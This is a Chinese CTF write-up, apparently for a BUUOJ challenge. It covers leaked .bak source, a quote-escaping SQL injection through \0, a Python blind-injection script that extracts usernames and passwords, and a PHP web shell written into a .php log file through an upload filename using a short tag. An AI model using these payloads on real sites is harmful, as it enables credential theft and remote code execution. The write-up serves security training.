0x00 知識點
1:備份文件泄露
2:SQL注入
3:php短標簽
短標簽 需要php.ini開啟short_open_tag = On,但 不受該條控制。
0x01 解題
首先通過robots.txt發現存在.bak備份文件,嘗試后獲取到image.php.bak文件,代碼如下:
打開得到源碼:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
可以看到:
單引號被過濾,由於存在轉義函數addslashes以及\0 '等也被過濾
構造payload:
http://a215b254-c237-4670-a4cc-9dfea3d34f26.node3.buuoj.cn/image.php?id=\0%27&path=%20or%20length((select group_concat(password) from users))=20%23
可知拼接后密碼長度為20位,這里表名users和字段名password是猜的,也可以通過對information_schema庫進行注入獲取。
sql注入代碼:
import requests
url = "http://d4035b3f-eaac-4675-8c17-e1de75f3d193.node3.buuoj.cn/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
l = 1
r = 130
mid = (l + r)>>1
while(l<r):
payloads = payload.format(i,mid)
print(url+payloads)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid +1
else:
r = mid
mid = (l + r)>>1
result+=chr(mid)
print(result)
同理也可以獲取password
注入出來密碼登陸
隨便上傳一張圖片:
我們可以看到:
這里會將文件名和用戶名寫入日志文件。但是這里日志文件為php格式,考慮寫入shell。由於用戶名只能為admin無法利用,考慮文件名注入。文件名進行了php/i過濾,可以使用短標簽繞過:
filename="<?=@eval($_POST['a']);?>"
這個文件名,會被寫入日志文件中去,然后用菜刀連接。
http://b06691a8-c225-436e-ada3-e0a41553926f.node3.buuoj.cn/logs/upload.9f87e416579a7b3819d20bf55d415223.log.php
參考鏈接: